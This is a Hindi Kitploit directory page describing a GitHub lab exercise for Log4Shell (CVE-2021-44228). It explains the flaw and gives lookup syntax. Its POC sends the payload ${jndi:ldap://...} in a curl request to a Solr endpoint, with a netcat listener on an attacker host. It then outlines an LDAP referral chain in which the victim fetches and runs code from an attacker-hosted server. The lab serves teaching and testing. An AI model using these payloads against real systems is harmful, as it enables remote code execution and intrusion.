Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Log4j_CVE-2021-44228 — लॉग4शेल (CVE-2021-44228) का शोषण करने के लिए व्यावहारिक प्रयोगशाला अभ्यास, जिसमें JNDI इंजेक्शन, LDAP रेफरल सर्वर और रिवर्स शेल पेलोड शामिल हैं। इसमें पहचान, बायपास तकनीक और पोस्ट-एक्सप्लॉइटेशन मार्गदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/muhammad-ali007/log4j_cve-2021-44228
भेद्यता विश्लेषणशोषणपोस्ट-शोषणWAF बाईपासपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubmuhammad-ali007/log4j_cve-2021-44228

Log4j_CVE-2021-44228

लॉग4शेल (CVE-2021-44228) का शोषण करने के लिए व्यावहारिक प्रयोगशाला अभ्यास, जिसमें JNDI इंजेक्शन, LDAP रेफरल सर्वर और रिवर्स शेल पेलोड शामिल हैं। इसमें पहचान, बायपास तकनीक और पोस्ट-एक्सप्लॉइटेशन मार्गदर्शन शामिल है।

रिपॉजिटरी देखें
193 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Log4j भेद्यता, जिसे "Log4Shell" या "CVE-2021-44228" के नाम से भी जाना जाता है, Apache Log4j लाइब्रेरी में एक गंभीर सुरक्षा दोष है। Log4j एक व्यापक रूप से उपयोग किया जाने वाला जावा-आधारित लॉगिंग फ्रेमवर्क है जो डेवलपर्स को फ़ाइलों, डेटाबेस और कंसोल आउटपुट जैसे विभिन्न गंतव्यों पर एप्लिकेशन से संदेश लॉग करने की अनुमति देता है।

यह भेद्यता दिसंबर 2021 में खोजी गई थी और इसकी गंभीरता और शोषण की संभावना के कारण इसने काफी ध्यान आकर्षित किया है। यह Log4j संस्करण 2.x को प्रभावित करता है, और कुछ मामलों में, पिछले संस्करणों को भी। Log4j भेद्यता एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है, जिसका अर्थ है कि एक हमलावर इस दोष का शोषण करके लक्षित सिस्टम पर मनमाना कोड निष्पादित कर सकता है। यह भेद्यता Log4j लाइब्रेरी में एक डिज़ाइन दोष के कारण होती है जो विशेष रूप से तैयार किए गए डेटा वाले लॉग संदेशों के प्रसंस्करण से संबंधित है।

भेद्यता का शोषण लॉग संदेश में दुर्भावनापूर्ण कोड इंजेक्ट करने की क्षमता पर निर्भर करता है। यह विभिन्न वैक्टरों के माध्यम से प्राप्त किया जा सकता है, जैसे कि उपयोगकर्ता-नियंत्रित इनपुट फ़ील्ड, HTTP अनुरोध हेडर, या अन्य उपयोगकर्ता-प्रदत्त डेटा जो लॉग स्टेटमेंट को पास किया जाता है।

जब कोई कमजोर एप्लिकेशन विशेष रूप से तैयार किए गए डेटा वाले लॉग संदेश को संसाधित करता है, तो Log4j डेटा को जावा नेमिंग एंड डायरेक्टरी इंटरफ़ेस (JNDI) लुकअप के रूप में व्याख्या करता है। इस व्यवहार का शोषण करके, एक हमलावर एक पेलोड तैयार कर सकता है जो हमलावर द्वारा नियंत्रित एक दुर्भावनापूर्ण सर्वर पर JNDI लुकअप को ट्रिगर करता है। यह सर्वर तब एक पेलोड के साथ प्रतिक्रिया दे सकता है जो लक्षित सिस्टम पर निष्पादित होता है, जिससे हमलावर को रिमोट कोड निष्पादन प्राप्त करने की अनुमति मिलती है।

Log4j भेद्यता का प्रभाव गंभीर है क्योंकि Log4j का व्यापक रूप से विभिन्न जावा-आधारित एप्लिकेशनों में उपयोग किया जाता है, जिसमें वेब सर्वर, एप्लिकेशन और क्लाउड सेवाएँ शामिल हैं। यह भेद्यता हमलावरों को प्रभावित सिस्टम तक अनधिकृत पहुंच प्राप्त करने की अनुमति देती है, जिससे संभावित रूप से डेटा उल्लंघन, सिस्टम से समझौता और समझौता किए गए वातावरण का आगे शोषण हो सकता है।

आज, log4j संस्करण 2.16.0 उपलब्ध है और इस भेद्यता को पैच करता है (JNDI पूरी तरह से अक्षम है, मैसेज लुकअप का समर्थन हटा दिया गया है, और नया DoS भेद्यता CVE-2021-45046 मौजूद नहीं है)। (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

हालांकि, इस भेद्यता का असली खतरा इस तथ्य के कारण है कि लॉगिंग पैकेज कितना सर्वव्यापी है। लाखों एप्लिकेशन और सॉफ्टवेयर प्रदाता अपने स्वयं के कोड में निर्भरता के रूप में इस पैकेज का उपयोग करते हैं। जबकि आप log4j का उपयोग करके अपने स्वयं के कोडबेस को पैच करने में सक्षम हो सकते हैं, अन्य विक्रेताओं और निर्माताओं को अभी भी अपने स्वयं के सुरक्षा अपडेट को डाउनस्ट्रीम धकेलने की आवश्यकता होगी। कई सुरक्षा शोधकर्ताओं ने इस भेद्यता की तुलना इसके विशाल हमले की सतह की प्रकृति के कारण शेलशॉक से की है। हम इस भेद्यता को आने वाले वर्षों तक देखेंगे।

CVE-2021-44228 के लिए कमजोर सॉफ्टवेयर और सेवाओं की एक बढ़ती सामुदायिक-समर्थित सूची के लिए, इस GitHub रिपॉजिटरी (https://github.com/YfryTchsGD/Log4jAttackSurface) को देखें।

जबकि CVE-2021-44228 के आसपास कई अन्य लेख, ब्लॉग, संसाधन और सीखने की सामग्री हैं, मैं (इस अभ्यास के लेखक) विशेष रूप से इन्हें पसंद करता हूँ:

  • https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
  • https://log4shell.huntress.com/
  • https://www.youtube.com/watch?v=7qoPDq41xhQ

log4j पैकेज प्रविष्टियों को "पार्स" करके लॉग में अतिरिक्त तर्क जोड़ता है, अंततः डेटा को समृद्ध करने के लिए -- लेकिन यह अतिरिक्त कार्रवाई भी कर सकता है और यहां तक कि प्रविष्टि डेटा के आधार पर कोड का मूल्यांकन भी कर सकता है। यह CVE-2021-44228 का सार है। अन्य सिंटैक्स वास्तव में लॉग फ़ाइलों में दर्ज होते ही निष्पादित हो सकते हैं। इस सिंटैक्स के कुछ उदाहरण इस प्रकार हैं:

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

आप शायद पहले से ही इस log4j भेद्यता का दुरुपयोग करने के लिए सामान्य पेलोड जानते हैं। इसका लाभ उठाने वाले सामान्य सिंटैक्स का प्रारूप इस प्रकार दिखता है:

  • ${jndi:ldap://ATTACKERCONTROLLEDHOST}

यह सिंटैक्स इंगित करता है कि log4j "JNDI", या "जावा नेमिंग एंड डायरेक्टरी इंटरफ़ेस" से कार्यक्षमता लागू करेगा। अंततः, इसका उपयोग बाहरी संसाधनों, या "संदर्भों" तक पहुंचने के लिए किया जा सकता है, जो इस हमले में हथियार बनाया गया है।

"ldap://" स्कीमा पर ध्यान दें। यह इंगित करता है कि लक्ष्य LDAP प्रोटोकॉल के माध्यम से एक एंडपॉइंट (इस हमले के मामले में, एक हमलावर-नियंत्रित स्थान) तक पहुंचेगा। संक्षिप्तता के लिए, हमें यहां LDAP के सभी अंदर-बाहर और विवरणों को कवर करने की आवश्यकता नहीं होगी, लेकिन जान लें कि जैसे-जैसे हम अपने हमले को परिष्कृत करेंगे, हमें इसके साथ काम करना होगा। अभी के लिए, जान लें कि लक्ष्य वास्तव में एक बाहरी स्थान से कनेक्शन बनाएगा। यह उपरोक्त सिंटैक्स में ATTACKERCONTROLLEDHOST प्लेसहोल्डर द्वारा इंगित किया गया है। आप, इस परिदृश्य में हमलावर के रूप में कार्य करते हुए, इस कनेक्शन को देखने के लिए एक सरल लिसनर होस्ट कर सकते हैं।

अगला प्रश्न यह है कि हम इस सिंटैक्स को कहाँ दर्ज कर सकते हैं? कहीं भी जहां डेटा एप्लिकेशन द्वारा लॉग किया जाता है।

यह इस भेद्यता का मूल बिंदु है। दुर्भाग्य से, विभिन्न अनुप्रयोगों के लिए हमले की सतह निर्धारित करना बहुत कठिन है, और इसलिए, यह निर्धारित करना भी कठिन है कि कौन से एप्लिकेशन वास्तव में कमजोर हैं। केवल log4j फ़ाइलों की उपस्थिति देखने से सटीक संस्करण संख्या का पता नहीं चलता है, या यह भी पता नहीं चलता है कि एप्लिकेशन पैकेज का उपयोग कहाँ या कैसे कर सकता है।

अन्य स्थान जहां आप यह JNDI सिंटैक्स प्रदान कर सकते हैं:

  • इनपुट बॉक्स, उपयोगकर्ता और पासवर्ड लॉगिन फॉर्म, एप्लिकेशन के भीतर डेटा प्रविष्टि बिंदु
  • HTTP हेडर जैसे User-Agent, X-Forwarded-For, या अन्य अनुकूलन योग्य हेडर
  • उपयोगकर्ता-आपूर्ति किए गए डेटा के लिए कोई भी स्थान

यदि आप इस JNDI हमले वेक्टर के बारे में अधिक जानकारी चाहते हैं, तो कृपया 2016 से इस Black Hat USA प्रस्तुति की समीक्षा करें। https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

  • भेद्यता के परीक्षण और कनेक्शन प्राप्त करने के लिए अपने वातावरण को तैयार करने के लिए, निम्नलिखित कमांड के साथ अपनी स्वयं की हमलावर मशीन का IP पता देखें: user@host$ ip addr show
  • अपनी पसंद के किसी भी पोर्ट पर एक netcat लिसनर तैयार करें (9999 एक अच्छा उदाहरण है): user@host$ nc -lnvp 9999
  • अब जब आपके पास एक लिसनर तैयार है, तो HTTP पैरामीटर के भाग के रूप में इस प्रारंभिक JNDI पेलोड सिंटैक्स सहित एक अनुरोध करें। यह आसानी से curl कमांड लाइन उपयोगिता के साथ किया जा सकता है। user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' ध्यान दें, आपके सिंटैक्स में $ डॉलर-साइन वर्ण के उपयोग के कारण, आपको यह सुनिश्चित करना होगा कि आप URL को एकल-उद्धरणों के भीतर लपेटें ताकि bash (आपका कमांड-लाइन शेल) इसे एक चर के रूप में व्याख्या न करे। इसके अतिरिक्त, आपको { } घुंघराले कोष्ठकों को एकल बैकस्लैश वर्ण के साथ एस्केप करना होगा, ताकि वे curl कमांड तर्कों में गलत तरीके से प्रस्तुत न हों।
  • अपने netcat लिसनर में निम्नलिखित संदेश देखकर सत्यापित करें कि आपको कनेक्शन प्राप्त हुआ है: Connection received from <x.x.x.x>

शोषण इस बिंदु पर, आपने अपने netcat लिसनर में इस कनेक्शन को देखकर सत्यापित कर लिया है कि लक्ष्य वास्तव में कमजोर है। हालांकि, इसने एक LDAP अनुरोध किया... इसलिए आपके netcat लिसनर ने जो कुछ देखा होगा, वह गैर-मुद्रण योग्य वर्ण (अजीब दिखने वाले बाइट्स) हो सकते हैं। अब हम एक वास्तविक LDAP हैंडलर के साथ प्रतिक्रिया देने के लिए इस नींव पर निर्माण कर सकते हैं।

हम एक "LDAP रेफरल सर्वर" को मंचित करने के लिए एक ओपन-सोर्स और सार्वजनिक उपयोगिता का उपयोग करेंगे। इसका उपयोग पीड़ित के प्रारंभिक अनुरोध को दूसरे स्थान पर रीडायरेक्ट करने के लिए किया जाएगा, जहां आप एक द्वितीयक पेलोड होस्ट कर सकते हैं जो अंततः लक्ष्य पर कोड चलाएगा। यह इस प्रकार टूटता है:

  • ${jndi:ldap://attackerserver:1389/Resource} -> हमारे LDAP रेफरल सर्वर तक पहुंचता है
  • LDAP रेफरल सर्वर अनुरोध को एक द्वितीयक http://attackerserver/resource पर स्प्रिंगबोर्ड करता है
  • पीड़ित http://attackerserver/resource में मौजूद कोड को पुनर्प्राप्त और निष्पादित करता है

इसका मतलब है कि हमें एक HTTP सर्वर की आवश्यकता होगी, जिसे हम निम्नलिखित विकल्पों में से किसी के साथ आसानी से होस्ट कर सकते हैं (पोर्ट 8000 पर सेवा):

  • python3 -m http.server
  • php -S 0.0.0.0:8000 (या कोई अन्य busybox httpd या औपचारिक वेब सेवा जो आपको पसंद हो)
टूल डाउनलोड करें